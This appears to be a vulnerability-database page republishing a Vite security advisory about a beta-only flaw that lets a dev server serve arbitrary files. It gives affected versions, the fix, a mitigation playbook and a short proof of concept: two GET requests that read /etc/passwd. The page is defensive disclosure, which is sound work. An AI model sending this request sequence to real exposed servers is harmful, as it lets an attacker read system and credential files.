NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

Vite [beta only]: files otuside `server.fs.allow` and not included in `server.fs.deny` can be served by two requests using `?worker`GHSA-qppr-rxr4-jjq2

Fix: vitejs/vite#23168

GHSA-qppr-rxr4-jjq2 is a Information Exposure vulnerability in vite. A fix is available for vite — see the affected versions and patch details below.

Also known asCVE-2026-140098
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Dec 1, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs52th percentile — riskier than 52% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
📦vite

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

[!IMPORTANT] This advisory only affects beta versions.

Summary

With 8.4.0-beta.1, the contents of files that are outside server.fs.allow and not included in server.fs.deny can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

Details

In 8.4.0-beta.1, a dev server can be made to serve any file outside server.fs.allow that is not matched by server.fs.deny, with two unauthenticated GET requests and no preconditions:

  1. GET /@fs/<absolute-path>?worker&import. The worker plugin generates a WorkerWrapper module whose body embeds the request-chosen path, and in doing so registers the absolute path in config.environments.client.safeModulePaths.
  2. GET /@fs/<absolute-path> 200 with the file content. The safeModulePaths check short-circuits before the fs.allow check.

Only server.fs.deny matches keep working after registration. ?sharedworker&import triggers the same flow, and ?wasm / ?init&import / ?source&import queries register .wasm files the same way.

This is new in 8.4. The poisoning write (fileToDevUrl → safeModulePaths.addId) was introduced by commit https://github.com/vitejs/vite/commit/e258ce140eef64cf89ff38c410125abd8726f274 (https://github.com/vitejs/vite/pull/23168).

PoC

Minimal reproduction (two requests):

# 1) Before registration — correctly denied
GET /@fs/etc/passwd
-> 403 Restricted ("The request id /etc/passwd is outside...")

# 2) Register the path via the worker query
GET /@fs/etc/passwd?worker&import
-> 200
-> body: export default function WorkerWrapper(options) {
     return new Worker("/@fs/etc/passwd?worker_file&type=module", ...)
   }

# 3) Read — now allowed
GET /@fs/etc/passwd
-> 200 (text/javascript)
-> body: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:...

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmvite≥ 8.4.0-beta.1&&< 8.4.0-beta.28.4.0-beta.2npm install vite@8.4.0-beta.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vite, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update vite to 8.4.0-beta.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qppr-rxr4-jjq2 is resolved across your whole dependency graph.

  3. Workarounds

    Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.

Frequently Asked Questions

> [!IMPORTANT] > **This advisory only affects beta versions.** ### Summary With 8.4.0-beta.1, the contents of files that are outside [`server.fs.allow`](https://vite.dev/config/server-options#server-fs-allow) and not included in [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) can be returned to the browser. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - the sensitive file exi
O3 Security · Impact-Aware SCA

Is GHSA-qppr-rxr4-jjq2 in your dependencies?

Find it across npm, including transitive dependencies.

Vite [beta only]: files otuside `server.fs.allow` and not…